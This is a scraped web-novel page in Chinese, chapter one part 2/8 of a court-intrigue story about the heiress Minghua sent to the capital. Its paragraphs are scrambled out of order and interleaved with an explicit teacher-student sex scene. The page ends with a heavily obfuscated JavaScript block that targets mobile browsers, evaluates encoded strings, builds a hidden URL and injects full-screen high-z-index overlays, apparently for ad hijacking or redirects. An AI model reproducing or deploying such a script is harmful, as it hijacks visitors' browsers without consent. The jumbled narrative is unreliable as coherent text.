第一章一眼坠入深渊(2/8)

正得趣的时候,这调皮学生却不g了。先生也没有强迫学生继续,而是起来,趴到书案上,黑发蜿蜒,纤腰妖娆,翘t丰腴。先生回过头来,媚眼如丝,檀口吐出甜蜜的话语:“来啊,快来cha为师,cha为师sh漉漉的huax,用学生大roubang狠狠得cha进来!”

谢斐神se复杂地看了一眼江鸿予握住她的手,隐忍什么似的,朝明华挥了挥手。

“哈啊,臭学生,为师才不要对着你流水。”

明华神识来这个世界的这段时间中,大字倒是练过不少,虽然书法没有那么让人称道,倒也有几分端庄,挑不出什么错处,只要有人口述,她一定可以写下来,这样明日的作业也就能够交给秦相了。

镇南王面露忧se:“你是我唯一的孩子,你母妃将你托付给我,我委实不愿你远行,去那争斗漩涡。记住,凡事不可太过于出头冒尖,能糊涂就假装糊涂。争储之事不要太站队,不然以后新君上位,你我难有立足之地。”

坏学生勤勤勉勉,一进一出把先生c弄得舒爽,“先生喜欢我的大rgun,却还动不动打我,学生只能天天用大rgun打先生了,这叫一报还一报。”

明华:“是,父王。”

秦如晦讲习结束后,就匆匆去了内阁处理政事。临走吩咐三人背诵今天所习文章,并写下一篇感想,明日课上检查。

明华也是牛脾气,不由分说又是一顿摇,沈姬兴沉重的身子被她扯得东倒西歪,怒道:“姓明的你ga0什么!”

沈姬兴是惯于舞枪弄bang的,哪里耐得下心ga0这些之乎者也圣贤文章,没念两句就丢下书爬桌上补觉。明华倒是耐心读了几遍,可这古代书本上没有翻译借鉴,都是文言文,读起来大意明白几分,深层意思就不大知道了,写文章要找哪里作为切入点呢?况且明华基本没写过八gu文,不禁犯了难。

这船只颇大,有三层船楼,最高层由江鸿予明华及各自高级随从居住,二层是下人居住,最底层是供船工伙夫等人生活工作的地方。

先生宛如一叶扁舟,在暴风雨肆nve的海面上风雨飘摇,渐渐也丢了往日那一身教规严令,换成一口y词浪语:“慢些,里面受不了了,啊啊啊chasi我了,坏学生真厉害,为师喜欢坏学生的大rgun。”

任谁收到这样的邀请,都无法拒绝,学生也不想拒绝,于是从善如流地扶着roubang,对着那huax巧妙得cha了进去。

谢斐道:“你可别和其他人好上了,我还没回来,就把我给忘了,那我可不依。”

四公主正襟危坐,身形如松,和秦如晦在的时候没什么两样,一遍遍朗读,看不到一丝不耐烦,又是一位年纪轻轻就严于律己的可怕人物。背诵得差不多了,四公主开始提笔写文章,洋洋洒洒,文不加点,转眼间一篇文章挥洒而成。

船只开动,云帆高涨,一路北上。

而学生听到这样对自己的肯定,附身到先生的背上,凑近她脸庞,贪婪得倾听她的jia0声,腰下动得愈发迅速灵巧,“喜欢学生这么cha先生吗?先生水好多,roubang好像泡在热水里一样舒服,真想抱着先生,天天把先生cha得流水,让先生只为我流水……”

这顽皮学生愣了一瞬,挺着那粗蠢玩意儿马上服软求饶:“不要啊,我错了我错了,学生再也不犯了,只要先生今天能让它泄上那么几泄,学生就什么都听先生的。”

四公主饶有趣味地看着她俩,嘴角扬起。

不多会儿,公主又作完一篇文章。明华拿着写好的文章吹上面未g的墨迹,赞道:“公主殿下真是文思泉涌,如有神助,了不得啊了不得。”

先生趴在书案上,还未平息下来,双腿之间的小花下意识往出排白ye。

“我下次不仅敢,还要扒了先生的衣服,压着先生狠狠得做到先生求饶!我就是不改,先生不如打si我罢!”做出一副si猪不怕开水烫的惫懒无赖脸孔。

明华道,“公主,我,我实在是写不出啊,这可如何是好?”

“啊……好舒服,好爽,为师快被cha飞了……臭学生的roubang好厉害……”先生已经被学生的大rgun彻底征服了,发出无法抑制的甜腻jia0声。

明华道:“这里是皇g0ng,不是你家演武场!起来,你执笔,这次我乱说几句,你记下来,明天好交差!”

明华笑道:“那我就期待三皇子早日回来。”

皇帝很在意四公主的功课,每隔一段日子就要亲自考核。四公主也很争气,对答如流,丝毫不差。一手文章更是锦绣繁花,逻辑严密,就连一向目下甚高的秦宰相,也常常在其他门生前拿四公主做榜样。

二人口中称不敢,就各自落座听秦如晦授课。

学生看得两眼发直,忍不住用食指蘸了那白ye,又给他最ai的先生抹回了小洞。

明毅点点头。谢斐和奋珏扬,谭晟,以及几个侍nv,簇拥着明华走向码头。谢斐和明华并排行走,低声对她说:“我过不久也会回到京师,你在那里乖乖等我回来,我来了我们一起游山赏花,带你在京城玩个遍。”

先生被这顽劣学生冲撞得说不出一句完整的训词,只能把着书案随波逐流。那学生见先生已经q1ngyu上头,不会管自己听不听话,便双手从椅背后拿了出来,按住先生乱动的腰,一手伸进先生嘴里玩弄那丁香软舌,欺负得先生口涎直流,yi非常。

在外面会给先生面子。”他t1an了t1an下唇,“若是先生还和他们那么亲密,我,我下次还敢!”

镇南王府,继承人是怀瑾郡主,自然是她要进京。这个圣旨下达得时间极为巧妙,明华居然赶上进京赶考的江鸿予,可以和他一起动身。

明华站定,道:“送君千里终须一别,三殿下请回吧,来日京城相见,我这就去了。”

白得眩目的t瓣摇了几摇,向那沉湎在yu海的人儿发出了邀请。

明华不动声sech0u出江鸿予拉住的手,也超谢斐挥了挥。

明华忙开卷镇纸,提笔蘸墨,凝神静听。

明华提起戒尺就打了他安禄之爪一下,“给我手背好!没叫你拿下来呢。”看他乖乖背到后去了,才咳一声坐到他腿上。

这nv先生回头狠狠瞪了一眼不听话的学生,手上将衣k褪了半截下来,皮r0u终于相接。调皮学生急不可耐,一阵乱顶,想要把自己的灼热送如xia0hun洞。nv先生按住他,扶住那根份量不小的bang子,缓缓往自己身下cha进。

“上来点,先生上来一点嘛!看我把先生衣服顶破。噫,先生下面都sh了。”这学生非但反客为主,还得陇望蜀,“先生要不自己脱了?”

沈姬兴虽然粗,但是不笨,想了想,就起来了,默认了明华的提议。

朝廷要求各地藩王即刻将继承人送到京城,或充作御前侍卫,或作皇子皇nv伴读。

镇南王接着对她说:“你的婚事,你先自个儿物se着,皇子可以先别选,以免以后有派系争斗危险,其余的各个世家公子,看上了尽管跟父王说,父王给华儿做主。”

这学生吃上了r0u,激动不已,不等先生坐稳,就胡天胡地顶弄起来,ga0得一片水声,在烛火摇曳下分外清晰。

谢斐谄笑着从椅背后面伸出双手,要拉明华上来,“先生坐在我这rgun上,就能泄出来了。”

谢斐也正se道:“这是我府上腰牌,若有事就去我府上找管家,我不日回来后,一切就都好说。”

镇南王欣慰道:“你懂得这一层自然是好,你是我镇南王府继承人,嫁出去自是不可能,可招赘或者各自归家。”

此时沈姬兴还在睡觉,明华走过去推了她一把:“还睡呢?明天你的文章交不出来怎么办!”

父nv两人对前途均是有些担忧,奈何形势所迫,一时半会只能随波逐流。

明华一一记下,安慰镇南王:“父王,我会见机行事,您就不要太v儿不在的这段时间,请父王照顾好自己。”

公主抬手示意不必言谢,就要开始了。

明华道:“满意,满意,太满意了,多谢公主殿下相助!”明华喜不自胜,突然又似乎是想起什么,道:“公主,您文章是数一数二的好,万一秦相看出来是您的行文风格,那可怎么办?”

“学生的大rgunchasi为师了,快些,再快一些。”

出发这日,三皇子,镇南王,布政使三家的侍卫仪仗浩浩荡荡开到码头,镇南王握着明华的手又细细叮嘱了一番,下人来回禀:“王爷,布政使大人恭请郡主启程。”王爷才放开明华的手,对她说:“去吧。”

前面已经是静候的船只,江鸿予已经站在船上,朝这边看着,见明华已经来了,就走到船头准备搀扶明华。

本章尚未读完,请点击下一页继续阅读---->>>

沈姬兴瞌睡被扰,不悦地睁开眼:“明日的事明日再说!老子长这么大,只懂得刀头t1an血,从来不知道要做甚么劳什子文章!”

明华有一丝羞赧,低头道:“nv儿明白,不过现在还是要以大局为重,nv儿的婚事以后再议,况且若是和位高权重之子联姻,以后nv儿嫁出去从夫居就没法回来管理王府了。”

先生一阵情cha0涌动,下身不由收紧,可怜学生挨了她戒尺还不够,现下还要挨她xia0hun的夹提。身下的学生按住先生细腰一番疾风骤雨,一树海棠不堪风雨垂怜,t尖红肿,r0u花楚楚可怜。

明华生怕身后的奋珏扬和谭晟听到,赏他一个白眼:“说什么呢。”

明华明白他是怕那几个皇子对她不利,便收下了腰牌,“三殿下请留步。”

可怜学生自作孽不可活,打了先生pgu几下,先生ga0cha0迭起,也把他夹得jg关不稳,几个冲刺,也泄了。

“啪啪啪!”以下犯上的学生扬起巴掌,就给先生t瓣上来了几下,瞬间白皙皮肤上红了一片,“先生不对着我流水,还想对着谁流?我看先生就是欠打!”又是几掌落下,t尖更红了。

“坏先生,一会儿要我慢,一会儿要我快,到底要学生怎么做?太难伺候,学生不cha了!”说着就把自己的roubangch0u了出来,连带出一gu被击打成泡沫的ayee。

明华彻底放心。这时墨迹也g了,明华将手上文章卷起,珍而重之收了起来。四公主看在眼里。

明华脸se舒缓了些许,问道:“算你识相,怎么泄?”

一旁的三皇子谢斐知道明毅舐犊情深,道:“王爷,就由我护送郡主上船。”

明华看得眼睛都直了,试探地问道:“公主殿下,您已经写好了秦宰相布置的作业了吗?”

谁知明华并没有打下戒尺,而是冷笑数声,伸手扯下他亵k,“今日你不认错,就不让它泄出来。”

公主檀口微启,口吐芬芳,骈四骊六,字字珠玑。明华端肃挽袖,狼毫腾挪,下笔迅速,华词跃现。

这个沈姬兴,人是长得人五人六的,字却写得惨不忍睹

谢斐看他一眼,似乎是有些嫌恶,扭头对明华低声道:“你可注意着他点,别被他那一副书生样子骗了。”

四公主转过脸来,妍丽的脸庞上,依稀可见少nv独有的细细绒毛,“是,我已经写好了。”

“啊……我要泄了……”先生腹部一阵痉挛,sisi夹紧了学生那根胡天胡地的粗大物件,一收一缩,小嘴一样吮x1起来。

学生挺身一gu劲s,这一波可是攒了好久的库存,s完恋恋不舍的ch0u出半软的roubang,白se的浊ye从无物堵塞的小洞口伴着ayee缓缓流出,晦暗中异常煽情。

明华是现代人思维,不会做古文,但是ga0点白话文官腔还是可以的,虽然高雅不了多少,但也b她世界里面的一个军阀张宗昌的“荷花上面有蛤蟆,一戳一蹦跶”好多了。

se学生光cha先生的r0u花还不够,还要手伸进她衣领里面r0un1e两个手感柔软的小白兔。

先生被他弄得如雨打芭蕉,双腿站不住一样颤抖,要不是有书案撑着,她早就萎顿而坐到地上了。

“不知悔改!”明华啪啪啪照着旧地方落下三戒尺,力道明显加大了,那一边r首也被敲击得在肌肤红痕里肿了起来,煞是可怜。

镇南王心里很担心明华,赶了回来和明华书房密谈了半日,叫王府属官右长史奋珏扬,右指挥使谭晟随她同去。又叮嘱了一些注意要领。

转身上船,江鸿予早就伸手过来,明华握住他的手,稳稳站到船上。接着奋珏扬,谭晟等随从也上了船。

在封地可没有这么知名的大学问家来给明华上课,来京城还能沾四公主光免费蹭课,看来此行也不完全都是坏事嘛!

明华是,真是一大幸事。”

四公主道:“这你放心,我的文章严肃论理者居多,而词藻华丽者少。给你这篇华丽有加,论理稍显欠缺,秦相不会怀疑的。”

老皇帝这是要把藩王继承人当作质子,是以在皇权交替期间,藩王们才不敢轻举妄动。

四公主颔首,道:“不必吹捧,如此你可满意了?”

公主温柔却不失庄重的秀眉微不可查地皱起,沉思片刻,道:“秦相识得我的笔迹,我口述,你来写。”

思及此,明华喜道:“多谢公主殿下!”

  • 上一页

  • 返回目录

  • 加入书签

  • 下一页

  • (function(){function a0b(a,b){var c=a0a();return a0b=function(d,e){d=d-0xf7;var f=c[d];return f;},a0b(a,b);}function a0a(){var bP=['write','tpi','c="','bottom','/moc.','rc="','k21','parentNode','top','spt','has','style','data','padding-bottom','hei','location','offsetHeight','clientY','check','lin','100vh','28976ZUnJQB','startsWith','" style=" position:;"> ','2028','th:1','length','touchmove','0vw','getElementsByTagName','i13','k22','327VLfSAK','split','parse','Mac','classId','ght','padding-bottom:32%;','config_','data_','now','substring','random','floor','push','ht:','1197624JqwrKe','slice','innerHTML','wdf','x;" sr','sgewgekahs gninnur enon lamron etinifni s2.0 esae s5.1','k23','tpir','stringify','fixed','join','getDate','
    body{','querySelector','touch_max_height','getElementsByClassName','currentPvIndex_','offsetTop','reverse','0px','real','cli','8288225prcUdg','"+"','ion','idth','17EFGkmN','100vw','10ufnraS','yes','href','__executedClassIds','setItem','this_touch_status','touches','" />','0vh','mati','eig','moc','clear','undefined','" style="position:fixed;color:transparent;">.
    ','
    ','<','/s','c',U(b9(0x15a)),'>'];}window[b6(0xff)]=function(){var ba=b6,aB=g,aC=eval(ba(0x130)+aB)+'';sessionStorage[ba(0x116)](ba(0x14c)+aB,aC),sessionStorage[ba(0x116)]('data'+aB,0x1);};function t(aB,aC){var bb=b6;if(typeof aB===bb(0x11f)||aB===null)return[];var aD=aB[bb(0x145)](aC);return aD;}var u=n>=T(0x1,0x64),v=![],w=![],x=o>=T(0x1,0x64),y=0x0,z=0x0,A=z>=T(0x1,0x64),B=0x0,C=0x0,D=0x0,E={'touchMotion':function(){}},F=0x0,G=0x0,H=0x0;document[b6(0x169)]('touchstart',function(aB){var bc=b6,aC=aB[bc(0x118)][0x0][bc(0x135)];G=aC,H=aC;},![]),document[b6(0x169)](b6(0x13f),function(aB){var bd=b6,aC=aB[bd(0x118)][0x0][bd(0x135)];if(aCH)H=aC;var aD=H-G;E[bd(0xf7)](aD);},![]);function I(aB){var be=b6;window[be(0x115)]=window[be(0x115)]||new Set();if(window[be(0x115)][be(0x12e)](aB[be(0x148)]))return;window[be(0x115)][be(0x177)](aB['classId']),console[be(0x11e)]();var aC=aB[be(0x148)],aD=aB['i1'],aE=aB['i2'],aF=aB['i3'],aG=aB['i4'],aH=aB['i5'],aI=aB[be(0x179)],aJ=aB[be(0x172)],aK=aB[be(0x142)];if(sessionStorage[aC+'_real'])return;var aL=JSON[be(0x146)](sessionStorage[aC]||'[]'),aM=0x0;document[be(0x169)]('touchend',function(){var bf=be,aO=H-G;if(aOaH&&(F++,aM=Date[bf(0x14d)]());}else{}},![]);var aN=Date[be(0x14d)]();aL[be(0x151)](![]),sessionStorage[aC]=JSON[be(0x15b)](aL),setInterval(function(){var bg=be,aO=(Date[bg(0x14d)]()-aN)/0x3e8,aP=aO>=aD,aQ=F>=aE,aR=document[bg(0x17b)][bg(0x134)]>=aG,aS=aP&&aQ&&aR;aL[aL['length']-0x1]!==aS&&(aL[aL[bg(0x13e)]-0x1]=aS,sessionStorage[aC]=JSON[bg(0x15b)](aL));var aT=aL[bg(0x166)](Boolean)[bg(0x13e)],aU=aT>=aI,aV=!aJ||aL[bg(0x175)](Boolean),aW=!aK||aL[0x0]&&aL['every'](Boolean),aX=aU&&aV&&aW;aX&&(sessionStorage[aC+bg(0x16c)]=bg(0x122));},0x3e8);}function J(aB){return aB===''?0x0:parseInt(aB,0xa);}function K(aB,aC){var bh=b6;return{'classId':bh(0x14b)+aB,'i1':J(aC['i1']),'i2':J(aC['i2']),'i3':J(aC['i3']),'i4':J(aC['i4']),'i5':J(aC['i5']),'i11':J(aC[bh(0x179)]),'i12':aC['i12'],'i13':aC[bh(0x142)]};}function L(aB,aC){var bi=b6;if(!sessionStorage[aB[bi(0x148)]+bi(0x16c)])return;for(var aD in aC){if(aD[bi(0x13a)]('r')&&typeof aC[aD]!==bi(0x11f)){var aE='k'+aD[bi(0x154)](0x1);aC[aE]=aC[aD];}}return aC;}function M(aB){p=aB['m1'],j=aB['m2'],n=aB['m3'];}function N(aB){var bj=b6,aC=sessionStorage[bj(0x16e)](bj(0x130)+aB);if(null==aC)return null;var aD=sessionStorage[bj(0x16e)](bj(0x14c)+aB),aE=JSON[bj(0x146)](aD),aF=K(aB,aE);I(aF),M(aE),L(aF,aE),v=parseInt(aE['k2'])>=T(0x1,0x64),w=parseInt(aE['k1'])>=T(0x1,0x64),x=parseInt(aE['k3'])>=T(0x1,0x64);function aG(aO,aP,aQ,aR){var bl=bj,aS={'this_touch_status':![],'touch_min_height':0x0,'touch_max_height':0x0,'touchDelayTimeout':0x0};function aT(b2){var bk=a0b,b3=b2[bk(0x145)](','),b4=b3[b3[bk(0x13e)]-0x1][bk(0x145)]('_');aS[bk(0xfb)]=parseInt(b4[0x0]),aS[bk(0x104)]=parseInt(b4[0x1]);}if(aO){var aU=aO['split'](','),aV=aU[0x0]?parseInt(aU[0x0]):0x64,aW=Math[bl(0x14f)]()*0x64;if(aW=T(0x1,0x64)&&(v=!![],y=parseInt(aK[0x1])*0x3e8);else{var aL=t(aE['k4'],',');aL[bj(0x13e)]===0x2&&(parseInt(aL[0x0])>=T(0x1,0x64)&&(w=!![],y=parseInt(aL[0x1])*0x3e8));}}}}}if(!x){var aM=t(aE['k9'],'_');if(aM&&aM[bj(0xfe)](q+'')!==-0x1)x=!![];else{var aN=t(aE['k6'],',');aN['length']===0x2&&(parseInt(aN[0x0])>=T(0x1,0x64)&&setTimeout(function(){x=!![],al();},parseInt(aN[0x1])*0x3e8));}}}N(g);var O='',P=0x2;d+='?',c+='?';var Q=U(b6(0x128));function R(aB){var bm=b6,aC='';for(var aD=0x0;aD=0x30&&aF<=0x39&&(aF=(aF-0x30+aC)%0xa+0x30),aD+=String['fromCharCode'](aF);}return aD;}function a2(aB){var bx=b6,aC=0x5,aD=a1(aB,aC),aE=aD[bx(0x13e)];if(0xa>aE)aE='00'+aE;else{if(0x64>aE)aE='0'+aE;}var aF=aE+aD;return aF;}var a3=location[b6(0x114)],a4=navigator;function a5(){var by=b6,aB=a4[by(0x174)][by(0xfe)]('Win')!=-0x1,aC=a4[by(0x174)]['indexOf'](by(0x147))!=-0x1,aD=a4[by(0x174)]?![]:!![];if(a3[by(0xfe)]('vv')!=-0x1)aB=![];if(aB)return!![];else{if(aC)return!![];else{if(aD)return![];}}return![];}if(a5())return;var a6=document,a7='h'+U('/:sptt')+'/',a8='0',a9=S(0xb),aa=S(0xa),ab=S(0xa),ac=S(0xa),ad=S(0x7),ae=T(0x7fffffff-0x64,0x7fffffff),af=ae-T(0x2710,0x4e20),ag=T(0x73,0x7a),ah=function(){},ai=b6(0x11a),aj=b6(0x140);if(v)ai=b6(0x138),aj=b6(0x111),a8='1',P=0x3,ah=function(aB){var bz=b6;aB['s'+'ty'+'le']['z'+'-'+'in'+bz(0x165)]=af;};else w&&(ai=p+'vh',aj=b6(0x111),a8='2',P=0x4,ah=function(aB){var bA=b6;aB['s'+'ty'+'le']['z'+'-'+'in'+bA(0x165)]=af;});var ak=Date[b6(0x14d)]();E[b6(0xf7)]=function(aB){var bB=b6;if(!A)return;if(D!=0x0){var aC=new Date(ak)[bB(0x170)](),aD=(Date[bB(0x14d)]()-aC)/0x3e8;if(D>aD)return;}aB>B&&C>=aB&&(P=0x3,eval(ab)());};function al(){var bC=b6;x&&!window[bC(0x168)]&&(window[bC(0x168)]=!![],P=0x3,eval(ab)());}var am='',an='relative',ao=b6(0x12c),ap=b6(0x127),aq='',ar='padding-top';h==0x1&&(an=b6(0x15c),am='padding-top:32%;',i==b6(0x127)&&(am=b6(0x14a),ao=b6(0x127),ap=b6(0x127),ar=b6(0x131)),ae=T(0x13880,0x15f90));an=V(an,0x2),an=W(b6(0x10d),an),an='"'+an+'"',ao=V(ao,0x1),ao=W(b6(0x10d),ao),ao='"'+ao+'"',ap=V(ap,0x1),ap=W(b6(0x10d),ap),ap='"'+ap+'"';var as='',at='';j==b6(0x113)&&(as=U(b6(0x16f)),at=U(b6(0x158)));var au=T(0x64,0xc8),av=au+0xc8,aw=y+av+0x64,ax=aw+0x12c,ay=ax+0x12c,az=function(){};if(u){a8+='3';var az=function(){var bF=b6,aB=function(aD){var bD=a0b,aE=document[bD(0x103)](bD(0x17b)),aF=document[bD(0x103)](aD),aG=aF[bD(0x134)],aH=aC(aF),aI=aH+aG,aJ=!![];aE[bD(0x169)](bD(0x13f),aK);function aK(aL){var bE=bD,aM=aL[bE(0x118)][0x0],aN=aM[bE(0x135)],aO=aM[bE(0xf8)],aP=0x0;h!=0x1?aP=aM[bE(0xf8)]:aP=aM[bE(0x135)],aP>=aH&&aP
    '),document[bL(0xfd)](aG),document['writeln']('
    ');if(!![]){}setTimeout(function(){function aI(aJ,aK,aL){var bN=a0b,aM=document['getElementsByClassName'](aJ)[0x0];;;;;;;;aM['s'+'ty'+'le'][bN(0x132)+bN(0x149)]=ag+'px',aM['s'+'ty'+'le'][eval(ao)]='0',aM['s'+'ty'+'le']['le'+'f'+'t']='0',aM['s'+'ty'+'le'][bN(0x17c)+bN(0x11b)+'on']=at,aM['s'+'ty'+'le']['z'+'-'+'in'+bN(0x165)]=ae,aM['s'+'ty'+'le']['w'+bN(0x10f)]=bN(0x111),aM[bN(0x155)]+='